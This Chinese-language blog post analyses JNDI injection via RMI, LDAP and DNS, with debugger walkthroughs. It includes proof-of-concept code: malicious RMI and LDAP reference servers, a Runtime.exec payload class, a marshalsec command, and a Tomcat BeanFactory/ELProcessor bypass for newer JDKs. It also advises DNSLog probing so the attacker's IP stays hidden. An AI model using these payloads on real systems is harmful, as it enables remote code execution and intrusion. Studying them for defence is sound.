JNDI-RMI、LDAP注入分析
JNDI Java命名和目录接口(Java Naming and Directory Interface,JNDI)是一组在Java应用中访问命名和目录服务的API。JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。
JNDI
JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。SPI
全称为 Service Provider Interface
,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK
中包含了下述内置的目录服务:JDBC、LDAP、RMI、DNS、NIS、CORBA。
下面从三种服务来理解jndi注入。
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
版本限制
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
JDK 5U45、6U45、7u21、8u121
开始java.rmi.server.useCodebaseOnly
默认配置为trueJDK 6u132、7u122、8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值为false,即不允许RMI远程地址加载objectfactory
类JDK 11.0.1、8u191、7u201、6u211
,com.sun.jndi.ldap.object.trustURLCodebase
默认为false
JNDI注入
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
JNDI之RMI
RMI概述
RMI 的全称是 Rmote Method Invocation
,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。
本地客户端获取远程类的代理的方式是,借助了 Registry
(注册中心)
Server | Registry | Client |
---|---|---|
服务端,提供具体远程对象 | 注册表,存放远程对象的相关信息(ip、端口、标识符) | 客户端,远程对象调用者 |
RMI 流程:
- Registry 首先启动,并监听一个端口,一般是1099
- Server 向 Registry 注册远程对象
- Client 从 Registry 获取远程对象的代理
- Client 通过这个代理调用远程对象的方法
- Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法
- Server 端的代理将执行结果返回给 Client 端代理
RMI分析
jdk-7u80
这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)
的位置实现uri可控就可以调用远程恶意类实现RCE。
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
Server.java
服务端首先起一个注册中心的端口1099,rmi 服务默认端口为1099
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
Client.java
package jndi;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://localhost:1099/calc");
}
}
恶意类Calc.java
import java.lang.Runtime;
public class Calc {
public Calc() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
运行 Server 再运行 Client
调试Server
服务端注册中心起监听端口 1099,创建 Refernence
一个对象,Reference
对象中指定从远程加载构造的恶意 Factory
类, new 对象的时候需要 className、factory、factoryLocation
,并将其绑定到RMI服务器上
调试Client
步入InitialContext
进入GenericURLContext#lookup
,通过 RMI 服务查找名字为 calc 的stub
继续跟进lookup
,在 RegistryContext
类中该函数判断 var1 和 var2,这里89行的的 var2 为建立 socket 连接时的远程地址
在98行跟进RegistryContext
类
在342行跟进到 NamingManager
类,继续向下在 getObjectInstance
方法中获取工厂类对象
在319行调用了 getObjectFactoryFromReference
方法,发现通过getObjectFactoryFromReference
方法调用恶意类
首先会本地查找,获取到 codebase 后远程调用,见158行
在158行加载恶意类,在163行使用 newInstance
方法实例化对象。到这里我们可以看到整个过程的调用栈为
JNDI之LDAP
LDAP分析
LDAP全称是 Lightweight Directory Access Protocol
( 轻量级目录访问协议),LDAP也能返回 Reference
对象,由攻击者控制的 LDAP服务端返回一个恶意的 JNDI Reference
对象。
client.java
package jndi;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("ldap://localhost:1389/Calc");
}
}
python在 Calc.class
所在的目录起web服务:
使用 marshalsec启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc
启动客户端,调用远程恶意类
调用栈与 RMI 一致,原理都是基于 lookup()
方法可控
JNDI之DNS
通过上面我们可知 JNDI 注入可以利用 RMI 协议和 LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。
在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。 我们可以使用 DNS 协议
进行探测,通过 DNS 协议
去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。
漏洞端代码:
import javax.naming.InitialContext;
public class client {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("dns://dns.kf3h0a.dnslog.cn");
}
}
NDSLog 触发成功:
Bypass绕过
trustURLCodebase绕过
当 JDK 版本切换为 1.8.0_411
,出现报错
点近报错处查看com.sun.jndi.rmi.registry.RegistryContext#decodeObject
,在执行客户端的时候报错,在8u121之后com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的默认值变为 false,就不能再利用了 ,即不允许 RMI 远程地址加载 objectfactory 类。
将 com.sun.jndi.cosnaming.object.trustURLCodebase
属性设置为false即可
public class Client {
public static void main(String[] args) throws Exception{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
new InitialContext().lookup("rmi://localhost:1099/calc");
}
}
高版本绕过之Tomcat8
使用 jdk 高版本的时,即使在传入时候设置了 com.sun.jndi.ldap.object.trustURLCodebase
为 true,也会报错,调试时发现该值依然为 false,具体可以参阅 JDK下的JNDI注入进行绕过
虽然8u191后已经不允许加载 codebase 中的类,但仍然可以从本地加载 Reference Factory
需要注意是,该本地类必须实现 javax.naming.spi.ObjectFactory
接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference
最后的 return 语句对 Factory 类的实例对象进行了类型转换,并且该工厂类至少存在一个 getObjectInstance()
方法
org.apache.naming.factory.BeanFactory
就是满足条件之一,并由于该类存在于 Tomcat8 依赖包中,攻击面和成功率还是比较高的
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>
服务端
public class Tomcat8bypass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "sanshi=eval"));
resourceRef.add(new StringRefAddr("sanshi", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat8bypass", referenceWrapper);
}
}
客户端访问:
public class JndiAck {
public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
new InitialContext().lookup("rmi://127.0.0.1:1099/Tomcat8bypass");
}
}
调试分析
在org.apache.naming.factory.BeanFactory#getObjectInstance
中的forceString
,forceString
可以给属性强制指定一个 setter 方法,所使用的是 ELProcessor.eval()
,ELProcessor.eval()
会对EL表达式进行求值,即会执行命令
通过反射调用执行命令
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!